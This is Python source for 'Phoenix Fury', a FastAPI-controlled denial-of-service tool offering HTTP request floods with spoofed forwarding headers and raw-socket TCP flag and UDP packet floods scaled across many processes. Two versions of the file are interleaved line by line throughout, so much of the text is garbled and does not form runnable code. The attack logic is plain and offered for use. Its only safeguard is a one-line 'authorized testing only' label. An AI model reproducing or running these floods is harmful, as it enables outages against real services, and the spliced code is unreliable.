#!/usr/bin/env python3import socket

"""import struct

Phoenix Fury v8.0 - NUCLEAR MODEimport random

Maximum CPU/RAM utilization for extreme RPSimport time

"""import multiprocessing

import socketimport threading

import multiprocessingimport asyncio

import timeimport aiohttp

import osimport os

from ctypes import c_ulonglongimport sys

from fastapi import FastAPI, BackgroundTasksimport psutil

from pydantic import BaseModelimport ssl

import uvicornfrom typing import Literal, List, Union

from ctypes import c_ulonglong

app = FastAPI(title="Phoenix Fury v8.0 - NUCLEAR MODE")

# Use uvloop for a significant performance boost

# ============================================================================try:

# AUTO-CONFIG: USE ALL AVAILABLE RESOURCES    import uvloop

# ============================================================================    asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())

CPU_COUNT = os.cpu_count() or 8except ImportError:

# NUCLEAR MODE: 64 processes per CPU core!    pass

TOTAL_PROCESSES = CPU_COUNT * 64  # 48 cores = 3,072 processes

REQUESTS_PER_BURST = 1000  # Each process sends 1000 reqs per connectionfrom fastapi import FastAPI, HTTPException, BackgroundTasks

from pydantic import BaseModel, Field

print(f"[NUCLEAR MODE] {CPU_COUNT} cores detected")import uvicorn

print(f"[NUCLEAR MODE] Spawning {TOTAL_PROCESSES} attack processes")

print(f"[NUCLEAR MODE] Expected: {TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,} RPS")# --- Application Setup ---

app = FastAPI(

# ============================================================================    title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",

# MODELS    description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",

# ============================================================================    version="7.0.0"

class AttackConfig(BaseModel):)

    target: str

    port: int = 80# --- Auto-Optimized Configuration ---

    duration: int = 60CPU_COUNT = psutil.cpu_count(logical=True) or 8

TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)

# ============================================================================

# ULTRA-AGGRESSIVE WORKER - MAXIMUM SPEED# REALISTIC CONFIG - Fewer processes that actually work

# ============================================================================def calculate_optimal_config():

def nuclear_worker(worker_id, target_ip, port, stop_flag, counter):    """Calculate reasonable process count."""

    """    # MUCH FEWER processes - focus on making them work!

    Ultra-aggressive worker: tight loop, no error handling, maximum speed.    if CPU_COUNT >= 32:

    """        MAX_PROCESSES = CPU_COUNT * 2  # 64-96 processes for 32-48 cores

    # Pre-build request (minimal)    elif CPU_COUNT >= 16:

    request = f"GET /?w={worker_id}&c={{}} HTTP/1.1\r\nHost: {target_ip}\r\n\r\n".encode()        MAX_PROCESSES = CPU_COUNT * 3  # 48 processes for 16 cores

        elif CPU_COUNT >= 8:

    local_count = 0        MAX_PROCESSES = CPU_COUNT * 4  # 32 processes for 8 cores

    req_num = 0    elif CPU_COUNT >= 4:

            MAX_PROCESSES = CPU_COUNT * 6  # 24 processes for 4 cores

    # INFINITE LOOP: Connect → Blast requests → Reconnect    else:

    while not stop_flag.value:        MAX_PROCESSES = CPU_COUNT * 8  # 16 processes for 2 cores

        sock = None    

        try:    REQUESTS_PER_CONNECTION = 500  # Send 500 requests per socket

            # Fast socket creation    total_capacity = MAX_PROCESSES * REQUESTS_PER_CONNECTION

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)    return MAX_PROCESSES, REQUESTS_PER_CONNECTION, total_capacity

            sock.settimeout(2)

            sock.connect((target_ip, port))MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()

            STATS_BATCH_UPDATE_SIZE = 100  # Smaller batches for better feedback

            # BLAST REQUESTS - No delays, no checks

            for _ in range(REQUESTS_PER_BURST):# --- L7 Enhanced Headers Pool ---

                try:USER_AGENTS = [

                    sock.send(request.replace(b"{}", str(req_num).encode()))    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",

                    local_count += 1    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",

                    req_num += 1    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",

                except:    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",

                    break    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"

            ]

            sock.close()REFERERS = [

        except:    "https://www.google.com/search?q=",

            pass  # Ignore ALL errors, keep going    "https://www.bing.com/search?q=",

            "https://www.facebook.com/",

        # Update shared counter every 500 requests    "https://www.twitter.com/",

        if local_count >= 500:    "https://www.reddit.com/",

            counter.value += local_count    "https://www.youtube.com/"

            local_count = 0]

    

    # Final updatedef get_random_headers() -> dict:

    if local_count > 0:    """Generates randomized headers with IP spoofing for L7 attacks."""

        counter.value += local_count    return {

        "User-Agent": random.choice(USER_AGENTS),

# ============================================================================        "Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),

# ATTACK MANAGER        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",

# ============================================================================        "X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",

class NuclearAttackManager:        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

    def __init__(self):        "Accept-Language": "en-US,en;q=0.9",

        self.active = False        "Accept-Encoding": "gzip, deflate, br",

        self.processes = []        "Cache-Control": "no-cache",

        self.stop_flag = multiprocessing.Value('i', 0)        "Pragma": "no-cache"

        self.counter = multiprocessing.Value(c_ulonglong, 0)    }

        self.start_time = 0

    # ====================================================================================

    def launch(self, target: str, port: int, duration: int):#  Pydantic API Models (Simplified - Auto Max Settings)

        """Launch nuclear attack with ALL processes."""# ====================================================================================

        if self.active:class BaseAttackConfig(BaseModel):

            return    target: str = Field(..., description="Target hostname or IP address")

            port: int = Field(..., ge=1, le=65535, description="Target port")

        self.active = True    duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")

        self.stop_flag.value = 0

        self.counter.value = 0class L4TCPConfig(BaseAttackConfig):

        self.start_time = time.time()    method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")

        self.processes = []

        class L4UDPConfig(BaseAttackConfig):

        # Resolve target    method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")

        try:    payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")

            target_ip = socket.gethostbyname(target.replace("http://", "").replace("https://", "").split("/")[0])

        except:class L7Config(BaseAttackConfig):

            target_ip = target    method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")

            path: str = Field("/", description="Request path")

        print(f"\n{'='*70}")

        print(f"🔥 NUCLEAR ATTACK LAUNCHED")class StatusResponse(BaseModel):

        print(f"   Target: {target_ip}:{port}")    attack_active: bool

        print(f"   Processes: {TOTAL_PROCESSES:,}")    attack_type: str

        print(f"   Duration: {duration}s")    target_host: str

        print(f"{'='*70}\n")    target_ip: str

            port: int

        # Spawn ALL processes at once    duration: int

        for i in range(TOTAL_PROCESSES):    elapsed_time: float

            p = multiprocessing.Process(    processes: int

                target=nuclear_worker,    total_sent: int

                args=(i, target_ip, port, self.stop_flag, self.counter)    current_rate_pps_rps: float

            )    cpu_usage_percent: float

            p.start()    memory_usage_percent: float

            self.processes.append(p)

        # ====================================================================================

        # Stats reporter#  CORE NETWORKING & PACKET CRAFTING

        def report_stats():# ====================================================================================

            last_count = 0def check_root() -> bool:

            last_time = time.time()    """Check if running with root/admin privileges."""

                try:

            while not self.stop_flag.value:        return os.geteuid() == 0

                time.sleep(2)    except AttributeError:

                now = time.time()        import ctypes

                current = self.counter.value        return ctypes.windll.shell32.IsUserAnAdmin() != 0

                rps = (current - last_count) / (now - last_time)

                elapsed = now - self.start_timedef resolve_target(target: str) -> str:

                    """Resolve hostname to IP address."""

                print(f"[{elapsed:.0f}s] Total: {current:,} | Current RPS: {rps:,.0f}")    try:

                        if "://" in target:

                last_count = current            target = target.split("://")[1].split("/")[0]

                last_time = now        return socket.gethostbyname(target)

            except socket.gaierror:

        import threading        raise ValueError(f"Could not resolve hostname: {target}")

        stats_thread = threading.Thread(target=report_stats, daemon=True)

        stats_thread.start()def get_local_ip(target_ip: str) -> str:

            """Get local IP address that routes to target."""

        # Auto-stop after duration    try:

        def auto_stop():        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

            time.sleep(duration)        s.connect((target_ip, 1))

            self.terminate()        ip = s.getsockname()[0]

                s.close()

        stop_thread = threading.Thread(target=auto_stop, daemon=True)        return ip

        stop_thread.start()    except:

            return "127.0.0.1"

    def terminate(self):

        """Stop all processes."""def calculate_checksum(data: bytes) -> int:

        if not self.active:    """Calculate IP/TCP/UDP checksum."""

            return    s = 0

            if len(data) % 2:

        print("\n⚠️ Terminating attack...")        data += b'\0'

        self.stop_flag.value = 1    for i in range(0, len(data), 2):

                s += (data[i] << 8) + data[i+1]

        # Give processes 3 seconds to finish    s = (s >> 16) + (s & 0xffff)

        time.sleep(3)    s += (s >> 16)

            return (~s) & 0xffff

        # Force kill remaining

        for p in self.processes:def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:

            if p.is_alive():    """Create IP header."""

                p.terminate()    header = struct.pack('!BBHHHBBH4s4s',

                (4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,

        # Wait for all to die        socket.inet_aton(src_ip), socket.inet_aton(dst_ip)

        for p in self.processes:    )

            p.join(timeout=1)    return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]

        

        # Final statsdef create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:

        elapsed = time.time() - self.start_time    """Create TCP header with specified flags."""

        total = self.counter.value    seq = random.randint(1, 4294967295)

        avg_rps = total / elapsed if elapsed > 0 else 0    ack_seq = 0

            header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)

        print(f"\n{'='*70}")    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))

        print(f"✅ ATTACK COMPLETED")    checksum = calculate_checksum(pseudo_header + header)

        print(f"   Total Requests: {total:,}")    return header[:16] + struct.pack('!H', checksum) + header[18:]

        print(f"   Duration: {elapsed:.2f}s")

        print(f"   Average RPS: {avg_rps:,.2f}")def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:

        print(f"{'='*70}\n")    """Create UDP header."""

            udp_len = 8 + len(payload)

        self.active = False    header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)

        self.processes = []    pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)

    checksum = calculate_checksum(pseudo_header + header + payload)

# Global manager    return header[:6] + struct.pack('!H', checksum)

ATTACK_MANAGER = NuclearAttackManager()

# ====================================================================================

# ============================================================================#  OPTIMIZED L4 WORKER PROCESS

# API ENDPOINTS# ====================================================================================

# ============================================================================def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):

@app.get("/")    """Ultra-optimized L4 worker with raw sockets."""

def root():    try:

    return {        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

        "name": "Phoenix Fury v8.0 - NUCLEAR MODE",        sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

        "processes": TOTAL_PROCESSES,        # Increase socket buffer for higher throughput

        "cpu_cores": CPU_COUNT,        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)

        "status": "READY" if not ATTACK_MANAGER.active else "ATTACKING"        local_ip = get_local_ip(target_ip)

    }    except Exception as e:

        print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr)

@app.post("/attack")        return

def start_attack(config: AttackConfig, background: BackgroundTasks):

    """Launch nuclear L7 attack."""    local_counter = 0

    if ATTACK_MANAGER.active:    flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}

        return {"error": "Attack already in progress"}    

        # Pre-generate payloads for UDP

    background.add_task(    if attack_type == 'udp':

        ATTACK_MANAGER.launch,        if method_details == 'pps' or method_details == 0:

        config.target,            payload = b''

        config.port,        else:

        config.duration            payload = os.urandom(method_details)

    )        udp_len = 8 + len(payload)

    

    return {    # Packet crafting loop - optimized for speed

        "status": "launched",    while not stop_event.is_set():

        "target": config.target,        try:

        "port": config.port,            src_port = random.randint(10000, 65535)

        "processes": TOTAL_PROCESSES,            

        "expected_rps": f"{TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,}"            if attack_type == 'tcp':

    }                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)

                tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))

@app.post("/stop")                packet = ip_header + tcp_header

def stop_attack():            else:  # udp

    """Stop current attack."""                ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)

    ATTACK_MANAGER.terminate()                udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)

    return {"status": "stopped"}                packet = ip_header + udp_header + payload

            

@app.get("/status")            sock.sendto(packet, (target_ip, port))

def get_status():            local_counter += 1

    """Get current attack status."""            

    if not ATTACK_MANAGER.active:            # Batch counter updates for performance

        return {"active": False}            if local_counter >= STATS_BATCH_UPDATE_SIZE:

                    with shared_counter.get_lock():

    elapsed = time.time() - ATTACK_MANAGER.start_time                    shared_counter.value += local_counter

    total = ATTACK_MANAGER.counter.value                local_counter = 0

    current_rps = total / elapsed if elapsed > 0 else 0        except:

                pass  # Ignore errors for maximum speed

    return {    

        "active": True,    # Final counter update

        "elapsed": round(elapsed, 1),    if local_counter > 0:

        "total_requests": total,        with shared_counter.get_lock():

        "current_rps": round(current_rps, 2),            shared_counter.value += local_counter

        "processes": TOTAL_PROCESSES    sock.close()

    }

# ====================================================================================

if __name__ == "__main__":#  SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!

    multiprocessing.set_start_method('fork', force=True)# ====================================================================================

    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="warning")def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):

    """L7 worker - SIMPLE blocking approach."""
    use_ssl = (port in [443, 8443])
    host = target_ip
    
    # Pre-build HTTP request template
    http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
    
    local_counter = 0
    req_counter = 0
    conn_count = 0
    
    print(f"[PID {os.getpid()}] Worker starting...", flush=True)
    
    # TIGHT LOOP: Connect → Send burst → Disconnect → Repeat
    while not stop_event.is_set():
        sock = None
        try:
            # Create socket
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 65536)
            sock.settimeout(3)
            
            # Connect
            sock.connect((host, port))
            conn_count += 1
            
            if use_ssl:
                import ssl as ssl_module
                context = ssl_module.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl_module.CERT_NONE
                sock = context.wrap_socket(sock, server_hostname=host)
            
            # Send burst of pipelined requests
            for i in range(requests_per_conn):
                if stop_event.is_set():
                    break
                    
                try:
                    request = http_template.format(req_counter).encode()
                    sock.send(request)
                    local_counter += 1
                    req_counter += 1
                except Exception as e:
                    break
            
            # Close connection
            try:
                sock.close()
            except:
                pass
            
        except Exception as e:
            if conn_count == 0:  # First connection failed
                print(f"[PID {os.getpid()}] Connection failed: {e}", flush=True)
                time.sleep(1)
        finally:
            if sock:
                try:
                    sock.close()
                except:
                    pass
        
        # Update shared counter in batches
        if local_counter >= STATS_BATCH_UPDATE_SIZE:
            with shared_counter.get_lock():
                shared_counter.value += local_counter
            local_counter = 0
    
    # Final update
    if local_counter > 0:
        with shared_counter.get_lock():
            shared_counter.value += local_counter
    
    print(f"[PID {os.getpid()}] Worker stopped: {conn_count} connections, {local_counter} requests", flush=True)

# ====================================================================================
#  CENTRALIZED ATTACK MANAGER (SINGLETON)
# ====================================================================================
class AttackManager:
    """Singleton manager for all attacks."""
    _instance = None
    
    def __new__(cls):
        if cls._instance is None:
            cls._instance = super(AttackManager, cls).__new__(cls)
            cls._instance._initialized = False
        return cls._instance

    def __init__(self):
        if self._initialized:
            return
        self._initialized = True
        self.lock = threading.Lock()
        self.stats_thread = None
        self._reset_state()

    def _reset_state(self):
        """Reset all attack state."""
        self.attack_active = False
        self.attack_type = "None"
        self.target_host = "None"
        self.target_ip = "None"
        self.port = 0
        self.duration = 0
        self.start_time = 0.0
        self.process_count = 0
        self.processes: List[multiprocessing.Process] = []
        self.stop_event = multiprocessing.Event()
        self.counter = multiprocessing.Value(c_ulonglong, 0)
        self.current_rate = 0.0

    def is_active(self):
        """Check if an attack is currently active."""
        with self.lock:
            return self.attack_active

    def _stats_calculator(self):
        """Background thread to calculate current rate."""
        last_check_time = time.time()
        last_count = 0
        
        while not self.stop_event.is_set():
            time.sleep(1)
            now = time.time()
            current_count = self.counter.value
            elapsed = now - last_check_time
            
            if elapsed > 0:
                self.current_rate = (current_count - last_count) / elapsed
            
            last_check_time = now
            last_count = current_count
        
        self.current_rate = 0.0

    def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
        """Start an attack with auto-optimized settings."""
        with self.lock:
            if self.attack_active:
                return
            
            try:
                self.target_host = config.target
                self.target_ip = resolve_target(self.target_host)
                
                if family == 'l4' and not check_root():
                    raise PermissionError("Layer 4 attacks require root privileges.")
            except (ValueError, PermissionError) as e:
                print(f"Attack validation failed: {e}", file=sys.stderr)
                self._reset_state()
                return

            self.attack_active = True
            self.port = config.port
            self.duration = config.duration
            self.process_count = MAX_PROCESSES  # AUTO MAX
            self.start_time = time.time()
            
            worker_target, worker_args, attack_name = (None, None, "Unknown")
            
            if family == 'l7' and isinstance(config, L7Config):
                attack_name = f"L7-{config.method.upper()}"
                worker_target = l7_worker_process
                worker_args = (
                    self.stop_event, 
                    self.counter, 
                    self.target_ip, 
                    config.port, 
                    config.path, 
                    config.method, 
                    MAX_CONCURRENCY_PER_PROCESS  # AUTO MAX
                )
            elif family == 'l4':
                worker_target = l4_worker_process
                if isinstance(config, L4TCPConfig):
                    attack_name = f"L4-TCP-{config.method.upper()}"
                    worker_args = (
                        self.stop_event, 
                        self.counter, 
                        self.target_ip, 
                        config.port, 
                        'tcp', 
                        config.method
                    )
                elif isinstance(config, L4UDPConfig):
                    attack_name = f"L4-UDP-{config.method.upper()}"
                    worker_args = (
                        self.stop_event, 
                        self.counter, 
                        self.target_ip, 
                        config.port, 
                        'udp', 
                        config.method if config.method == 'pps' else config.payload_size
                    )
            
            self.attack_type = attack_name
            
            print("=" * 70)
            print(f"🔥 PHOENIX FURY MAXIMUM POWER - ATTACK INITIATED 🔥")
            print(f"   Type: {self.attack_type}")
            print(f"   Target: {self.target_host}:{self.port} ({self.target_ip})")
            print(f"   Duration: {self.duration}s")
            print(f"   Processes: {self.process_count} (AUTO MAX)")
            if family == 'l7':
                print(f"   Concurrency per Process: {MAX_CONCURRENCY_PER_PROCESS}")
                print(f"   Total Concurrent Tasks: {self.process_count * MAX_CONCURRENCY_PER_PROCESS:,}")
            print("=" * 70)

            # Launch all worker processes
            for _ in range(self.process_count):
                p = multiprocessing.Process(target=worker_target, args=worker_args)
                self.processes.append(p)
                p.start()
            
            # Start stats calculator
            self.stats_thread = threading.Thread(target=self._stats_calculator)
            self.stats_thread.start()

    def stop(self):
        """Stop the current attack."""
        with self.lock:
            if not self.attack_active:
                return
            
            print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
            self.stop_event.set()
            
            # Wait for processes to finish
            for p in self.processes:
                p.join(timeout=5)
            
            # Force terminate hanging processes
            for p in self.processes:
                if p.is_alive():
                    print(f"Terminating hanging process PID: {p.pid}")
                    p.terminate()
            
            # Stop stats thread
            if self.stats_thread:
                self.stats_thread.join(timeout=2)
            
            # Calculate final stats
            elapsed = time.time() - self.start_time
            total_sent = self.counter.value
            avg_rate = total_sent / elapsed if elapsed > 0 else 0
            
            print("=" * 50)
            print("✅ ATTACK TERMINATED")
            print(f"   Total Sent: {total_sent:,}")
            print(f"   Elapsed Time: {elapsed:.2f}s")
            print(f"   Average Rate: {avg_rate:,.2f} PPS/RPS")
            print("=" * 50)
            
            self._reset_state()

    def get_status(self) -> StatusResponse:
        """Get current attack status."""
        with self.lock:
            return StatusResponse(
                attack_active=self.attack_active,
                attack_type=self.attack_type,
                target_host=self.target_host,
                target_ip=self.target_ip,
                port=self.port,
                duration=self.duration,
                elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
                processes=self.process_count,
                total_sent=self.counter.value,
                current_rate_pps_rps=round(self.current_rate, 2),
                cpu_usage_percent=psutil.cpu_percent(),
                memory_usage_percent=psutil.virtual_memory().percent
            )

MANAGER = AttackManager()

# ====================================================================================
#  FASTAPI ENDPOINTS
# ====================================================================================
@app.on_event("startup")
async def on_startup():
    """Startup message with system info."""
    print("=" * 80)
    print("🔥 Phoenix Fury API v7.0 - EXTREME PERFORMANCE Edition")
    print(f"   System Auto-Detected:")
    print(f"      CPU Cores: {CPU_COUNT}")
    print(f"      RAM: {TOTAL_RAM_GB:.1f} GB")
    print(f"   ")
    print(f"   Auto-Optimized Configuration:")
    print(f"      Worker Processes: {MAX_PROCESSES}")
    print(f"      Requests per Connection: {MAX_CONCURRENCY_PER_PROCESS:,}")
    print(f"   ")
    print(f"   Expected Performance:")
    print(f"      Estimated RPS: {int(MAX_PROCESSES * 100):,} - {int(MAX_PROCESSES * 500):,}")
    print(f"   ")
    if check_root():
        print("✅ Running with root privileges - L4 attacks ENABLED")
    else:
        print("⚠️ WARNING: Not root - L4 attacks will FAIL")
    print("=" * 80)

def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
    """Run attack lifecycle in background."""
    if MANAGER.is_active():
        raise HTTPException(status_code=409, detail="An attack is already in progress.")
    
    background_tasks.add_task(MANAGER.start, config, family)
    background_tasks.add_task(time.sleep, config.duration)
    background_tasks.add_task(MANAGER.stop)

@app.post("/attack/layer7")
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
    """Start L7 attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l7', background_tasks)
    return {
        "status": "success",
        "message": f"L7 attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES,
        "concurrency_per_process": MAX_CONCURRENCY_PER_PROCESS,
        "total_workers": MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
    }

@app.post("/attack/layer4/tcp")
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
    """Start L4 TCP attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {
        "status": "success",
        "message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES
    }

@app.post("/attack/layer4/udp")
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
    """Start L4 UDP attack with auto-optimized settings."""
    run_attack_lifecycle(config, 'l4', background_tasks)
    return {
        "status": "success",
        "message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}",
        "processes": MAX_PROCESSES
    }

@app.post("/attack/stop")
def api_stop_attack():
    """Stop the current attack."""
    if not MANAGER.is_active():
        return {"status": "info", "message": "No attack is currently running."}
    MANAGER.stop()
    return {"status": "success", "message": "Stop signal sent."}

@app.get("/status", response_model=StatusResponse)
def get_status():
    """Get current attack status and system metrics."""
    return MANAGER.get_status()

@app.get("/")
def root():
    """Root endpoint with API info."""
    return {
        "message": "🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
        "docs": "/docs",
        "system": {
            "cpu_cores": CPU_COUNT,
            "ram_gb": round(TOTAL_RAM_GB, 1),
            "worker_processes": MAX_PROCESSES,
            "requests_per_connection": MAX_CONCURRENCY_PER_PROCESS,
            "estimated_rps": f"{int(MAX_PROCESSES * 100):,} - {int(MAX_PROCESSES * 500):,}"
        }
    }

# --- Main Execution ---
if __name__ == "__main__":
    multiprocessing.freeze_support()
    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)